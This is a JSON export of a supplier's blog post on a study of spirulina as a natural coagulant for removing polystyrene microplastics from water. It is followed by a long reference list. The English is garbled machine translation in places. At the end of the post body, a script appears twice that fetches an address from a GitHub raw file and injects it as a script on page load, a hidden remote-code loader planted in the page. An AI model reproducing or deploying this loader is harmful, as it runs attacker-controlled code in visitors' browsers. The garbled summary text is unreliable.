{"id":5319,"date":"2024-03-11T14:22:43","date_gmt":"2024-03-11T06:22:43","guid":{"rendered":"https:\/\/www.backvita.com\/?p=5319"},"modified":"2024-04-12T23:54:33","modified_gmt":"2024-04-12T15:54:33","slug":"spirulina-acts-as-a-natural-coagulant-to-remove-polystyrene","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ru\/spirulina-acts-as-a-natural-coagulant-to-remove-polystyrene\/","title":{"rendered":"\u0421\u043f\u0438\u0440\u0443\u043b\u0438\u043d\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u043f\u0440\u0438\u0440\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0430\u0433\u0443\u043b\u044f\u043d\u0442 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0438\u0441\u0442\u0438\u0440\u043e\u043b\u0430"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-4bb1032\" data-block-id=\"4bb1032\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3517\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women.webp\" width=\"814\" height=\"407\" alt=\"\u041f\u043e\u043b\u044c\u0437\u0430 \u043f\u043e\u0440\u043e\u0448\u043a\u0430 \u0441\u043f\u0438\u0440\u0443\u043b\u0438\u043d\u044b \u0434\u043b\u044f \u0436\u0435\u043d\u0449\u0438\u043d\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women.webp 814w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-300x150.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-768x384.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-600x300.webp 600w\" sizes=\"(max-width: 814px) 100vw, 814px\" \/><\/figure><\/div>\n\n\n\n<p>As we all know, spirulina has always been regarded as a high-protein nutritional supplement, there is no shortage of various spirulina powder, spirulina tablets, spirulina capsules of various supplements, such as the manufacturer of bivitae. Today we follow andy to learn about the application of spirulina in a new area of research: optimization and modeling experiments of spirulina as a natural biological coagulant to remove polystyrene from water media.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ru\/\u043f\u0440\u043e\u0434\u0443\u043a\u0442\/\u0441\u043f\u0438\u0440\u0443\u043b\u0438\u043d\u0430-\u043f\u043e\u0440\u043e\u0448\u043e\u043a-\u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438-\u0441\u043f\u0438\u0440\u0443\u043b\/\">\u0421\u043f\u0438\u0440\u0443\u043b\u0438\u043d\u0430<\/a> acts as a natural biological coagulant to remove polystyrene from aqueous solutions<\/h2>\n\n\n\n<p>Microplastics (MPs) are newly discovered pollutants that are caused by the decomposition of plastics and their release into the aquatic environment. The focus of the research in this paper is the removal of polystyrene (PS) from aqueous solutions using the natural biological coagulant Spirulina. The study looked at several key variables, including initial PS levels of 100 to 900 mg L-1, pH levels of 4 to 10, contact times of 20 to 40 min, and doses of 50 to 250 mg L-1 for Platinella grapes. Finally, the data analysis shows that the quadratic model fits the experimental results best.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The impact of plastic pollution on global crises<\/h2>\n\n\n\n<p>The paper begins by highlighting the serious impact of plastic pollution on the global crisis and the serious threat it poses to human health. It is also explained that plastics may decompose under certain environmental conditions to form tiny particles called Mps. The increase in plastics in our lives has caused a lot of concern in recent years, whether from the macro or onlookers level, MPs size is less than 5mm, exist in various forms in the environment, and these pollutants are discharged into the environment through various forms. It has to be admitted that the primary MPs is deliberately made. Once in the organism, these pollutants can cause endocrine disruption, which in turn affects activity, reproduction and growth and, in severe cases, increases the likelihood of cancer. Several studies have provided evidence that MPs are widespread in the world&#8217;s oceans. Among them, PS is a kind of Mps, a special microplastic containing styrene and benzene monomers, and both of these substances are considered carcinogens, causing great harm to aquatic organisms and humans.<\/p>\n\n\n\n<p>Traditionally, microplastics have been removed by a variety of methods including chemical, physical and biological processes. However, compared with chemical reagents in water pollution treatment, natural coagulants have considerable advantages.<\/p>\n\n\n\n<p>These are somewhat specific in: biodegradability, minimal toxicity, reduced residual sludge production and economic feasibility. In addition, natural coagulants are more sustainable and environmentally friendly. Natural coagulants are renewable resources and do not contain any harmful chemicals that may have long-term effects on the environment and health. In addition, the use of natural coagulants often reduces residual sludge and thus waste generation and disposal costs.<\/p>\n\n\n\n<p>Overall, the use of natural coagulants can promote more sustainable methods of water treatment and contribute to a healthier environment. More recently, the use of biological methods, such as algae, has shown clear potential to solve the problem. Using biomagnification to remove pollutants minimizes the formation of toxic by-products, which ultimately leads to cleaner ecosystems. In addition, algae are rich in nutrients, minerals, rhamnoses, polyunsaturated fatty acids, omega-6, trace elements and easily digestible enzymes. After use, algae substances can also be used as fuel, fertilizer and medicine to prevent secondary pollution. Because of its rich nutrient content and ecological friendliness, as a natural coagulant, it facilitates the flocculation of Mps.<\/p>\n\n\n\n<p>These findings show that S. platensis has a significanteffect on removing PS from the aquatic environment. Algae can serve as a convenient andeco-friendly method, replacing chemical coagulants, to effectively remove MPs from theaquatic environment.<\/p>\n\n\n\n<p>The final experimental data show that the new natural biological coagulants can effectively remove PS from water, and confirm that microalgae provide a practical and environmentally friendly alternative to the effective removal of chemical coagulants.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0421\u0441\u044b\u043b\u043a\u0438<\/h2>\n\n\n\n<p>Mohaddeseh Eydi Gabrabad,\u00a0Mohammadreza Yari\u00a0&amp;\u00a0Ziaeddin Bonyadi\u00a0<em>Scientific Reports<\/em>\u00a0volume\u00a014, Article\u00a0number:\u00a02506\u00a0(2024)\u00a0\uff1aUsing\u00a0<em>\u0421\u043f\u0438\u0440\u0443\u043b\u0438\u043d\u0430 \u043f\u043b\u0430\u0442\u0435\u043d\u0441\u0438\u0441<\/em>\u00a0as a natural biocoagulant for polystyrene removal from aqueous medium: performance, optimization, and modeling.<\/p>\n\n\n\n<p>Shen, M.&nbsp;<em>et al.<\/em>&nbsp;(Micro) plastic crisis: Un-ignorable contribution to global greenhouse gas emissions and climate change.&nbsp;<em>J. Clean. Prod.<\/em>&nbsp;254, 120138 (2020).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Mai, L., Bao, L.-J., Shi, L., Liu, L.-Y. &amp; Zeng, E. Y. Polycyclic aromatic hydrocarbons associated with microplastics in surface waters of Bohai and Huanghai Seas, China.&nbsp;<em>Environ. Pollut.<\/em>&nbsp;241, 834\u2013840 (2018).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Lusher, A., Hollman, P. &amp; Mendoza-Hill, J.&nbsp;<em>Microplastics in Fisheries and Aquaculture: Status of Knowledge on Their Occurrence and Implications for Aquatic Organisms and Food Safety<\/em>&nbsp;(FAO, 2017).<\/p>\n\n\n\n<p>Google Scholar\u00a0<\/p>\n\n\n\n<p>Barari, F. &amp; Bonyadi, Z. Evaluation of the leaching of microplastics from discarded medical masks in aquatic environments: A case study of Mashhad city.&nbsp;<em>Appl. Water Sci.<\/em>&nbsp;13(12), 229 (2023).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Karbalaei, S., Hanachi, P., Walker, T. R. &amp; Cole, M. Occurrence, sources, human health impacts and mitigation of microplastic pollution.&nbsp;<em>Environ. Sci. Pollut. Res.<\/em>&nbsp;25, 36046\u201336063 (2018).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Anbumani, S. &amp; Kakkar, P. Ecotoxicological effects of microplastics on biota: A review.&nbsp;<em>Environ. Sci. Pollut. Res.<\/em>&nbsp;25, 14373\u201314396 (2018).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Duis, K. &amp; Coors, A. Microplastics in the aquatic and terrestrial environment: Sources (with a specific focus on personal care products), fate and effects.&nbsp;<em>Environ. Sci. Eur.<\/em>&nbsp;28(1), 1\u201325 (2016).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Sharma, S., Sharma, V. &amp; Chatterjee, S. Microplastics in the Mediterranean Sea: Sources, pollution intensity, sea health, and regulatory policies.&nbsp;<em>Front. Mar. Sci.<\/em>&nbsp;8, 634934 (2021).<\/p>\n\n\n\n<p>Article\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Bonyadi, Z., Maghsodian, Z., Zahmatkesh, M., Nasiriara, J. &amp; Ramavandi, B. Investigation of microplastic pollution in Torghabeh River sediments, northeast of Iran.&nbsp;<em>J. Contam. Hydrol.<\/em>&nbsp;250, 104064 (2022).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Enfrin, M.&nbsp;<em>et al.<\/em>&nbsp;Release of hazardous nanoplastic contaminants due to microplastics fragmentation under shear stress forces.&nbsp;<em>J. Hazard. Mater.<\/em>&nbsp;384, 121393 (2020).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Yang, J.&nbsp;<em>et al.<\/em>&nbsp;Effects of soil environmental factors and UV aging on Cu2+ adsorption on microplastics.&nbsp;<em>Environ. Sci. Pollut. Res.<\/em>&nbsp;26, 23027\u201323036 (2019).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Liu, Z.&nbsp;<em>et al.<\/em>&nbsp;Effects of microplastics on the innate immunity and intestinal microflora of juvenile Eriocheir Sinensis.&nbsp;<em>Sci. Total Environ.<\/em>&nbsp;685, 836\u2013846 (2019).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Zahmatkesh Anbarani, M., Najafpoor, A., Barikbin, B. &amp; Bonyadi, Z. Adsorption of tetracycline on polyvinyl chloride microplastics in aqueous environments.&nbsp;<em>Sci. Rep.<\/em>&nbsp;13(1), 17989 (2023).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0PubMed\u00a0PubMed Central\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Lithner, D., Nordensvan, I. &amp; Dave, G. Comparative acute toxicity of leachates from plastic products made of polypropylene, polyethylene, PVC, acrylonitrile-butadiene-styrene, and epoxy to&nbsp;<em>Daphnia magna<\/em>.&nbsp;<em>Environ. Sci. Pollut. Res.<\/em>&nbsp;19, 1763\u20131772 (2012).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Kedzierski, M.&nbsp;<em>et al.<\/em>&nbsp;Threat of plastic aging in marine environment.&nbsp;<em>Adsorp. Desorp. Micropollut. Mar. Pollut. Bull.<\/em>&nbsp;127, 684\u2013694 (2018).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Barnes, D. K., Galgani, F., Thompson, R. C. &amp; Barlaz, M. Accumulation and fragmentation of plastic debris in global environments.&nbsp;<em>Philos. Trans. R. Soc. B.<\/em>&nbsp;364(1526), 1985\u20131998 (2009).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Zhou, G.&nbsp;<em>et al.<\/em>&nbsp;Removal of polystyrene and polyethylene microplastics using PAC and FeCl3 coagulation: Performance and mechanism.&nbsp;<em>Sci. Total Environ.<\/em>&nbsp;752, 141837 (2021).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Marsh, K. &amp; Bugusu, B. Food packaging\u2014roles, materials, and environmental issues.&nbsp;<em>J. Food Sci.<\/em>&nbsp;72(3), R39\u2013R55 (2007).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Esmaeili Nasrabadi, A., Zahmatkesh Anbarani, M. &amp; Bonyadi, Z. Investigating the efficiency of oak powder as a new natural coagulant for eliminating polystyrene microplastics from aqueous solutions.&nbsp;<em>Sci. Rep.<\/em>&nbsp;13(1), 20402 (2023).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0PubMed\u00a0PubMed Central\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Enyoh, C. E.&nbsp;<em>et al.<\/em>&nbsp;An overview of physical, chemical and biological methods for removal of microplastics. In&nbsp;<em>Microplastics Pollution in Aquatic Media: Occurrence, Detection, and Removal<\/em>&nbsp;(eds Sillanp\u00e4\u00e4, M.&nbsp;<em>et al.<\/em>) 273\u2013289 (Singapore, 2022).<\/p>\n\n\n\n<p>Chapter\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Padervand, M., Lichtfouse, E., Robert, D. &amp; Wang, C. Removal of microplastics from the environment. A review.&nbsp;<em>Environ. Chem. Lett.<\/em>&nbsp;18(3), 807\u2013828 (2020).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Cunha, C.&nbsp;<em>et al.<\/em>&nbsp;Microalgal-based biopolymer for nano- and microplastic removal: A possible biosolution for wastewater treatment.&nbsp;<em>Environ. Pollut.<\/em>&nbsp;263, 114385 (2020).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Ang, W. L. &amp; Mohammad, A. W. State of the art and sustainability of natural coagulants in water and wastewater treatment.&nbsp;<em>J. Clean. Prod.<\/em>&nbsp;262, 121267 (2020).<\/p>\n\n\n\n<p>Article\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Freitas, T.&nbsp;<em>et al.<\/em>&nbsp;Optimization of coagulation-flocculation process for treatment of industrial textile wastewater using okra (<em>A. esculentus<\/em>) mucilage as natural coagulant.&nbsp;<em>Ind. Crops Prod.<\/em>&nbsp;76, 538\u2013544 (2015).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Mazloomi, S.&nbsp;<em>et al.<\/em>&nbsp;Removal of methylene blue by&nbsp;<em>Saccharomyces cerevisiae<\/em>: Process modeling and optimization.&nbsp;<em>Desal. Water Treat.<\/em>&nbsp;236, 318\u2013325 (2021).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Esmaili, Z.&nbsp;<em>et al.<\/em>&nbsp;Biosorption of metronidazole using&nbsp;<em>\u0421\u043f\u0438\u0440\u0443\u043b\u0438\u043d\u0430 \u043f\u043b\u0430\u0442\u0435\u043d\u0441\u0438\u0441<\/em>&nbsp;microalgae: Process modeling, kinetic, thermodynamic, and isotherm studies.&nbsp;<em>Appl. Water Sci.<\/em>&nbsp;13(2), 63 (2023).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Sadeghi, A.&nbsp;<em>et al.<\/em>&nbsp;The effect of diazinon on the removal of carmoisine by&nbsp;<em>Saccharomyces cerevisiae<\/em>.&nbsp;<em>Desalin. Water Treat.<\/em>&nbsp;137, 273\u2013278 (2019).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Nasrabadi, A. E., Ramavandi, B. &amp; Bonyadi, Z. Recent progress in biodegradation of microplastics by&nbsp;<em>Aspergillus<\/em>&nbsp;sp. in aquatic environments.&nbsp;<em>Colloid Interface Sci. Commun.<\/em>&nbsp;57, 100754 (2023).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Zahmatkesh Anbarani, M., Esmaeili Nasrabadi, A. &amp; Bonyadi, Z. Use of Saccharomyces cerevisiae as a new technique to remove polystyrene from aqueous medium: Modeling, optimization, and performance.&nbsp;<em>Appl. Water Sci.<\/em>&nbsp;13(8), 166 (2023).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Rath, B. Microalgal bioremediation: Current practices and perspectives.&nbsp;<em>J. Biochem. Technol.<\/em>&nbsp;3(3), 299\u2013304 (2012).<\/p>\n\n\n\n<p>Google Scholar\u00a0<\/p>\n\n\n\n<p>Grosshagauer, S., Kraemer, K. &amp; Somoza, V. The true value of Spirulina.&nbsp;<em>J. Agric. Food Chem.<\/em>&nbsp;68(14), 4109\u20134115 (2020).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Manzi, H. P., Abou-Shanab, R. A., Jeon, B.-H., Wang, J. &amp; Salama, E.-S. Algae: A frontline photosynthetic organism in the microplastic catastrophe.&nbsp;<em>Trends Plant Sci.<\/em>&nbsp;20, 20 (2022).<\/p>\n\n\n\n<p>Google Scholar\u00a0<\/p>\n\n\n\n<p>Nasrabadi, A. E., Eydi, M. &amp; Bonyadi, Z. Utilizing Chlorella vulgaris algae as an eco-friendly coagulant for efficient removal of polyethylene microplastics from aquatic environments.&nbsp;<em>Heliyon<\/em>&nbsp;20, 20 (2023).<\/p>\n\n\n\n<p>Google Scholar\u00a0<\/p>\n\n\n\n<p>Pan, Y.&nbsp;<em>et al.<\/em>&nbsp;Removing microplastics from aquatic environments: A critical review.&nbsp;<em>Environ. Sci. Ecotechnol.<\/em>&nbsp;13, 100222 (2023).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Luo, Y., Gao, B., Yue, Q. &amp; Li, R. Application of enteromorpha polysaccharides as coagulant aid in the simultaneous removal of CuO nanoparticles and Cu2+: Effect of humic acid concentration.&nbsp;<em>Chemosphere<\/em>&nbsp;204, 492\u2013500 (2018).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Nasoudari, E., Ameri, M., Shams, M., Ghavami, V. &amp; Bonyadi, Z. The biosorption of Alizarin Red S by&nbsp;<em>\u0421\u043f\u0438\u0440\u0443\u043b\u0438\u043d\u0430 \u043f\u043b\u0430\u0442\u0435\u043d\u0441\u0438\u0441<\/em>; process modeling, optimization, kinetic and isotherm studies.&nbsp;<em>Int. J. Environ. Anal. Chem.<\/em>&nbsp;20, 1\u201315 (2021).<\/p>\n\n\n\n<p>Google Scholar\u00a0<\/p>\n\n\n\n<p>Choudhary, M., Ray, M. B. &amp; Neogi, S. Evaluation of the potential application of cactus (<em>Opuntia ficus-indica<\/em>) as a bio-coagulant for pre-treatment of oil sands process-affected water.&nbsp;<em>Sep. Purif. Technol.<\/em>&nbsp;209, 714\u2013724 (2019).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>de Diego-D\u00edaz, B., Duran, A., \u00c1lvarez-Garc\u00eda, M. R. &amp; Fern\u00e1ndez-Rodr\u00edguez, J. New trends in physicochemical characterization of solid lignocellulosic waste in anaerobic digestion.&nbsp;<em>Fuel<\/em>&nbsp;245, 240\u2013246 (2019).<\/p>\n\n\n\n<p>Article\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Amor, I. B.&nbsp;<em>et al.<\/em>&nbsp;Biosynthesis of MgO and ZnO nanoparticles using chitosan extracted from Pimelia Payraudi Latreille for antibacterial applications.&nbsp;<em>World J. Microbiol. Biotechnol.<\/em>&nbsp;39(1), 19 (2023).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Fang, J., Xuan, Y. &amp; Li, Q. Preparation of polystyrene spheres in different particle sizes and assembly of the PS colloidal crystals.&nbsp;<em>Sci. China Technol. Sci.<\/em>&nbsp;53, 3088\u20133093 (2010).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Smith, B. The infrared spectra of polymers III: Hydrocarbon polymers.&nbsp;<em>Spectroscopy<\/em>&nbsp;36(11), 22\u201325 (2021).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Guo, H.&nbsp;<em>Structure, Dynamics, and Therapeutic Potential of ATP Synthase<\/em>&nbsp;(University of Toronto, 2022).<\/p>\n\n\n\n<p>Google Scholar\u00a0<\/p>\n\n\n\n<p>Kurniawan, T. A.&nbsp;<em>et al.<\/em>&nbsp;Source, occurrence, distribution, fate, and implications of microplastic pollutants in freshwater on environment: A critical review and way forward.&nbsp;<em>Chemosphere<\/em>&nbsp;20, 138367 (2023).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Adegoke, K. A.&nbsp;<em>et al.<\/em>&nbsp;Microplastics toxicity, detection, and removal from water\/wastewater.&nbsp;<em>Mar. Pollut. Bull.<\/em>&nbsp;187, 114546 (2023).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Lim, H. S., Fraser, A. &amp; Knights, A. M. Spatial arrangement of biogenic reefs alters boundary layer characteristics to increase risk of microplastic bioaccumulation.&nbsp;<em>Environ. Res. Lett.<\/em>&nbsp;15(6), 064024 (2020).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Neolaka, Y. A.&nbsp;<em>et al.<\/em>&nbsp;Efficiency of activated natural zeolite-based magnetic composite (ANZ-Fe<sub>3<\/sub>O<sub>4<\/sub>) as a novel adsorbent for removal of Cr (VI) from wastewater.&nbsp;<em>J. Mater. Res. Technol.<\/em>&nbsp;18, 2896\u20132909 (2022).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Ali, I.&nbsp;<em>et al.<\/em>&nbsp;Interaction of microplastics and nanoplastics with natural organic matter (NOM) and the impact of NOM on the sorption behavior of anthropogenic contaminants\u2014a critical review.&nbsp;<em>J. Clean. Prod.<\/em>&nbsp;20, 134314 (2022).<\/p>\n\n\n\n<p>Article\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Wan, Y., Liu, X., Liu, P., Zhao, L. &amp; Zou, W. Optimization of adsorption of norfloxacin onto polydopamine microspheres from aqueous solution: Kinetic, equilibrium and adsorption mechanism studies.&nbsp;<em>Sci. Total Environ.<\/em>&nbsp;639, 428\u2013437 (2018).<\/p>\n\n\n\n<p>Article\u00a0ADS\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Fard, M. B., Hamidi, D., Yetilmezsoy, K., Alavi, J. &amp; Hosseinpour, F. Utilization of Alyssum mucilage as a natural coagulant in oily-saline wastewater treatment.&nbsp;<em>J. Water Process Eng.<\/em>&nbsp;40, 101763 (2021).<\/p>\n\n\n\n<p>Article\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Ren, B., Weitzel, K. A., Duan, X., Nadagouda, M. N. &amp; Dionysiou, D. D. A comprehensive review on algae removal and control by coagulation-based processes: Mechanism, material, and application.&nbsp;<em>Sep. Purif. Technol.<\/em>&nbsp;293, 121106 (2022).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Cheng, Y.-R. &amp; Wang, H.-Y. Highly effective removal of microplastics by microalgae&nbsp;<em>Scenedesmus abundans<\/em>.&nbsp;<em>Chem. Eng. J.<\/em>&nbsp;435, 135079 (2022).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar\u00a0<\/p>\n\n\n\n<p>Su, Y.&nbsp;<em>et al.<\/em>&nbsp;Heterogeneous aggregation between microplastics and microalgae: May provide new insights for microplastics removal.&nbsp;<em>Aquat. Toxicol.<\/em>&nbsp;261, 106638 (2023).<\/p>\n\n\n\n<div class=\"wp-block-stackable-text stk-block-text stk-block stk-cded2de\" data-block-id=\"cded2de\"><p class=\"stk-block-text__text\">Article\u00a0CAS\u00a0PubMed\u00a0Google Scholar\u00a0<\/p><\/div>\n\n\n\n<p>Kim, B., Lee, S.-W., Jung, E.-M. &amp; Lee, E.-H. Biosorption of sub-micron-sized polystyrene microplastics using bacterial biofilms.&nbsp;<em>J. Hazar. Mater.<\/em>&nbsp;458, 131858 (2023).<\/p>\n\n\n\n<p>Article\u00a0CAS\u00a0Google Scholar<\/p>\n\n\n\n<p>\u042d\u043d\u0434\u0438<\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>As we all know, spirulina has always been regarded as a high-protein nutritional supplement, there is no shortage of various spirulina powder, spirulina tablets, spirulina capsules of various supplements, such as the manufacturer of bivitae. Today we follow andy to learn about the application of spirulina in a new area of research: optimization and modeling [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3517,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Spirulina acts as a natural coagulant to remove polystyrene","_seopress_titles_desc":"These findings show that S. platensis has a significanteffect on removing PS from the aquatic environment. Algae can serve as a convenient andeco-friendly method, replacing chemical coagulants, to effectively remove MPs from theaquatic environment.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1402],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women.webp",814,407,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-300x150.webp",300,150,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-768x384.webp",768,384,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women.webp",814,407,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women.webp",814,407,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women.webp",814,407,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women.webp",18,9,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-600x300.webp",600,300,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Spirulina-powder-benefits-for-women-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>As we all know, spirulina has always been regarded as a high-protein nutritional supplement, there is no shortage of various spirulina powder, spirulina tablets, spirulina capsules of various supplements, such as the manufacturer of bivitae. Today we follow andy to learn about the application of spirulina in a new area of research: optimization and modeling experiments of spirulina as a natural biological coagulant to remove polystyrene from water media. Spirulina acts as a natural biological coagulant to remove polystyrene from aqueous solutions Microplastics (MPs) are newly discovered pollutants that are caused by the decomposition of plastics and their release into&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ru\/category\/\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0435-\u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ru\/author\/backvita\/"},"comments_num":"0 